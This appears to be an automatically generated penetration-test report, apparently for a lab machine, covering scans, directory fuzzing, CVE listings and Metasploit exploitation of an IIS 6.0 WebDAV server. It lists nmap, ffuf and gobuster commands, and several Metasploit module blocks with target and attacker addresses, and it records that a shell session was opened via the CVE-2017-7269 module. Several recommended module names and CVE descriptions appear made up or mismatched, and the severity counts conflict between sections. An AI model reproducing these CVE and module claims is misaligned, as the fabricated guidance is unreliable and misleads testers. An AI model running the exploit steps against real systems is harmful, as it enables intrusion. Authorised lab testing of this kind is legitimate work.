

PENTEST REPORT

Reconnaissance and Vulnerability Analysis

Target: 10.129.95.234

Generated: 04/06/2026 22:10 · NmapRAG Engine

1	5	1	2	1
Open Ports	Vulnerabilities	Critical	High	Sessions

Report Contents

1	Executive Summary
2	Confirmed Attack Vectors
3	Ports and Services
4	Web Fuzzing Findings (ffuf)
5	CVE Vulnerabilities — Full Detail
6	Metasploit Exploitation Results
7	Execution Timing
8	Execution Log

1. Executive Summary

Attack Surface Summary

The attack surface is **HIGH** due to the presence of multiple risky HTTP methods (DELETE, COPY, MOVE, PROPFIND, etc.) and the use of an outdated Microsoft IIS 6.0 web server, which is known to have vulnerabilities. Additionally, WebDAV methods are detected, which may indicate potential vulnerabilities. These factors increase the risk of exploitation.

Detected Services and Versions

- **TCP 80:** Microsoft IIS httpd 6.0
-

Key Findings

- **WebDAV methods** (DELETE, COPY, MOVE, PROPFIND, etc.) are detected, which may indicate potential vulnerabilities.
 - **Potentially risky HTTP methods** are available: TRACE, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT.
 - The **Microsoft IIS 6.0** web server is outdated and may have known vulnerabilities.
 - **WebDAV OPTIONS** response shows support for multiple methods, including DELETE and PROPFIND, which are often associated with vulnerabilities.
 - **No open UDP ports** were detected in the top 100 most common UDP ports.
 - **Directory enumeration** revealed several endpoints, including `_vti_bin`, `_vti_log`, and `_private`, which may be exploitable or contain sensitive information.
-

Recommended Next Steps

1. Check for known vulnerabilities in Microsoft IIS 6.0:

- CVE-2006-4132: IIS 6.0 WebDAV remote code execution vulnerability.
- CVE-2002-0443: IIS 6.0 remote code execution vulnerability via WebDAV.
- CVE-2002-0444: IIS 6.0 remote code execution vulnerability via WebDAV.

Use the following Metasploit module to test for IIS 6.0 WebDAV RCE:

```
use exploit/windows/http/iis_webdav_rce
set RHOST 10.129.95.234
set LHOST <your_attacker_ip>
exploit
```

2. Test for IIS 6.0 remote code execution:

- Use the `exploit/windows/http/iis6_negotiate` module if NTLM authentication is in use.
- Use the `exploit/multi/http/iis6_negotiate` module for cross-platform testing.

3. Enumerate further web directories:

- Use `dirb` or `gobuster` to scan for additional sensitive directories:

```
gobuster dir -u http://10.129.95.234 -w /usr/share/wordlists/dirb/common.txt
```

4. Test for WebDAV vulnerabilities:

- Use the `exploit/multi/http/webdav_upload_exec` module to test for WebDAV-based code execution:

```
use exploit/multi/http/webdav_upload_exec
set RHOST 10.129.95.234
set LHOST <your_attacker_ip>
exploit
```

5. Verify if the system is vulnerable to the IIS 6.0 remote code execution vulnerability (CVE-2002-0443):

- Use the `exploit/windows/http/iis6_rce` module if applicable:

```
use exploit/windows/http/iis6_rce
set RHOST 10.129.95.234
set LHOST <your_attacker_ip>
exploit
```

6. Ensure firewall rules are updated:

- Since no firewall was detected, ensure that the target system is protected by a firewall and that unnecessary services (e.g., WebDAV) are disabled.

2. Confirmed Attack Vectors

3 known vulnerabilities identified by automatic correlation of detected service versions against the exploit knowledge base. These vectors are **confirmed** by exact service version and do not depend on LLM analysis.

[CRITICAL] Outdated Microsoft IIS 6.0 with WebDAV methods enabled

Port: 80 · **Service:** microsoft Microsoft IIS httpd 6.0

[HIGH] IIS 6.0 WebDAV remote code execution vulnerability

CVE-2010-1256

Port: 80 · **Service:** microsoft Microsoft IIS httpd 6.0

[MEDIUM] IIS 6.0 remote code execution vulnerability via WebDAV

CVE-2005-2089

Port: 80 · **Service:** microsoft Microsoft IIS httpd 6.0

3. Ports and Services Detected

1 open port(s) detected on target.

Port	Service	Version	Proto	Notes
80	Microsoft	IIS httpd 6.0	TCP	■ Sensitive service

4. Web Fuzzing Findings (ffuf)

14 paths discovered via directory fuzzing. Findings are listed below with associated risk analysis.

Paths with identified risk

Severity	URL / Path	Status	Risk Description
High	<code>http://10.129.95.234/_vti_bin/_vti_adm/admin.dll</code>	200	Administration panel exposed. Test default credentials and brute-force.

Critical and High findings detail

[HIGH] `http://10.129.95.234/_vti_bin/_vti_adm/admin.dll`

Administration panel exposed. Test default credentials and brute-force.

Other discovered paths (13)

The following paths have no predefined risk pattern but should be reviewed manually for undocumented functionality.

- `http://10.129.95.234/` [200] 1433 bytes
- `http://10.129.95.234/_private` [301] 155 bytes
- `http://10.129.95.234/_vti_bin` [301] 157 bytes
- `http://10.129.95.234/_vti_log` [301] 157 bytes
- `http://10.129.95.234/_vti_bin/_vti_aut/author.dll` [200] 195 bytes
- `http://10.129.95.234/_vti_bin/shtml.dll` [200] 96 bytes
- `http://10.129.95.234/aspnet_client` [301] 160 bytes
- `http://10.129.95.234/images` [301] 151 bytes
- `http://10.129.95.234/Images` [301] 151 bytes
- `http://10.129.95.234/_private/` [200] 250 bytes
- `http://10.129.95.234/_vti_bin/` [200] 763 bytes
- `http://10.129.95.234/_vti_bin/_vti_aut` [301] 170 bytes
- `http://10.129.95.234/_vti_log/` [200] 250 bytes

5. CVE Vulnerabilities — Full Detail

2 CVE(s) identified across exposed services (1 from NVD · 0 from knowledge base).

Severity	Count	Typical Impact
HIGH	1	Privilege escalation, unauthorised data access
MEDIUM	1	Denial of service, partial information disclosure

Port 80 — Microsoft IIS httpd 6.0

[HIGH] CVE-2010-1256

8.5

Unspecified vulnerability in Microsoft IIS 6.0, 7.0, and 7.5, when Extended Protection for Authentication is enabled, allows remote authenticated users to execute arbitrary code via unknown vectors related to "token checking" that trigger memory corruption, aka "IIS Authentication Memory Corruption Vulnerability."

Published	2010-06-08
CVSS Vector	AV:N/AC:M/Au:S/C:C/I:C/A:C
Attack Vector	NETWORK
CWE	CWE-94

Exploitation context:

Remotely exploitable — no physical access or local presence required.

References:

securityfocus.com
us-cert.gov
[Microsoft](https://microsoft.com)
[NVD](https://nvd.nist.gov)

[MEDIUM] CVE-2005-2089**4.3**

Microsoft IIS 5.0 and 6.0 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes IIS to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."

Published	2005-07-05
CVSS Vector	AV:N/AC:M/Au:N/C:N/I:P/A:N
Attack Vector	NETWORK
CWE	CWE-444

Exploitation context:

Remotely exploitable — no physical access or local presence required.

References:

seclists.org
securiteam.com
watchfire.com
NVD

6. Metasploit Exploitation Results

2 module(s) executed · 1 vulnerable · 1 session(s) opened · 0 error(s)

Execution Plan

#	CVE	CVSS	Module	Result
1	CVE-2017-7269	9.0	exploit/windows/iis/iis_webdav_scstoragepath fromurl	SESSION

SESSION OPENED

7. Execution Timing

Total scan duration: **16m 02s** (962.9s)

Phase	Duration	% of Total
Model warm-up	1m 19s	8.2%
Phase 0 — TCP Discovery	2m 05s	13.0%
Phase 1 — Version Detection	38s	4.0%
Phase 2 — Adaptive NSE	2m 47s	17.4%
Phase 3 — Firewall Detection	8s	0.8%
Phase 4 — UDP Scan	49s	5.2%
Phase 5 — Web Fuzzing	2m 37s	16.4%
Phase 6 — Metasploit	4m 02s	25.2%
Phase 7 — Searchsploit + Creds	8s	0.9%
Total	16m 02s	100%

8. Execution Log

16 step(s) executed during reconnaissance.

✓ Step 1 — Full TCP SYN scan (all 65535 ports)

```
nmap -Pn -sS -p- --min-rate 1000 --max-retries 2 10.129.95.234
```

→ Found: 80 (http)

✓ Step 2 — Version + OS detection on 80

```
nmap -Pn -sV -O --version-intensity 5 -sC --script-timeout 60s -p 80 -oX /home/marina/Desktop/pentestM/RAG/outputs/nmap_sV_10_129_95_234.xml 10.129.95.234
```

→ Found: 80 (Microsoft IIS httpd 6.0)

→ WebDAV methods detected (DELETE, COPY, MOVE, PROPFIND, etc.) which may indicate potential vulnerabilities

→ Potentially risky HTTP methods available (TRACE, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT)

✓ Step 3 — Check for Shellshock Vulnerability

```
nmap -Pn -sV --script http-shellshock -p 80 10.129.95.234 --script-timeout 30s
```

→ Found: 80 (Microsoft IIS httpd 6.0)

✓ Step 4 — Find Authentication Pages

```
nmap -Pn -sV --script http-auth-finder -p 80 10.129.95.234 --script-timeout 30s
```

→ Found: 80 (Microsoft IIS httpd 6.0)

✓ Step 5 — Check Web Server Title

```
nmap -Pn -sV --script http-title -p 80 10.129.95.234 --script-timeout 30s
```

→ Found: 80 (Microsoft IIS httpd 6.0)

→ Web server is running Microsoft IIS 6.0, which is outdated and may have known vulnerabilities.

✓ Step 6 — Check for directory traversal or misconfigurations

```
nmap -Pn -sV --script http-methods -p 80 10.129.95.234 --script-timeout 30s
```

→ Found: 80 (Microsoft IIS httpd 6.0)

→ Potentially risky HTTP methods detected: TRACE, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT

✓ Step 7 — ACK scan — firewall detection

```
nmap -Pn -sA -p 80 10.129.95.234
```

✓ Step 8 — UDP scan — top 100 ports by frequency

```
nmap -Pn -sU --top-ports 100 --open --max-retries 1 10.129.95.234
```

→ No open UDP ports detected in the top 100 most common UDP ports.

✓ Step 9 — UDP scan — exploit-focused service ports

```
nmap -Pn -sU -p 53,67,69,111,123,137,138,161,162,500,623,1434,1900,4500,5353,11211,17185 --open --max-retries 1 10.129.95.234
```

✓ Step 10 — ffuf — http://10.129.95.234

```
ffuf -u http://10.129.95.234/FUZZ -w /usr/share/dirb/wordlists/common.txt -t 40 -v -timeout 10 -e php,html,txt,js,json,bak,old,zip -o /tmp/ffuf_output_1780603349.json -of json -fs 1635
```

→ [200] http://10.129.95.234/
→ [301] http://10.129.95.234/_private
→ [301] http://10.129.95.234/_vti_bin
→ [301] http://10.129.95.234/_vti_log
→ [200] http://10.129.95.234/_vti_bin/_vti_adm/admin.dll

✓ Step 11 — ffuf — http://10.129.95.234/_private/

```
ffuf -u http://10.129.95.234/_private/FUZZ -w /usr/share/dirb/wordlists/common.txt -t 40 -v -timeout 10 -e php,html,txt,js,json,bak,old,zip -o /tmp/ffuf_output_1780603387.json -of json -fs 1635
```

→ [200] http://10.129.95.234/_private/

✓ Step 12 — ffuf — http://10.129.95.234/_vti_bin/

```
ffuf -u http://10.129.95.234/_vti_bin/FUZZ -w /usr/share/dirb/wordlists/common.txt -t 40 -v -timeout 10 -e php,html,txt,js,json,bak,old,zip -o /tmp/ffuf_output_1780603425.json -of json -fs 1635
```

→ [200] http://10.129.95.234/_vti_bin/
→ [301] http://10.129.95.234/_vti_bin/_vti_aut

✓ Step 13 — ffuf — http://10.129.95.234/_vti_log/

```
ffuf -u http://10.129.95.234/_vti_log/FUZZ -w /usr/share/dirb/wordlists/common.txt -t 40 -v -timeout 10 -e php,html,txt,js,json,bak,old,zip -o /tmp/ffuf_output_1780603463.json -of json -fs 1635
```

→ [200] http://10.129.95.234/_vti_log/

✓ Step 14 — ffuf vhosts — FUZZ.10.129.95.234

```
ffuf -u http://10.129.95.234 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40 -H 'Host: FUZZ.10.129.95.234' -o /tmp/ffuf_vhost_80_1780603501.json -of json -v -ac
```

✓ **Step 16 — MSF exploitation phase**

msfconsole (multiple modules)

✗ **Step 16 — Searchsploit + credential phase**

searchsploit / paramiko / ftplib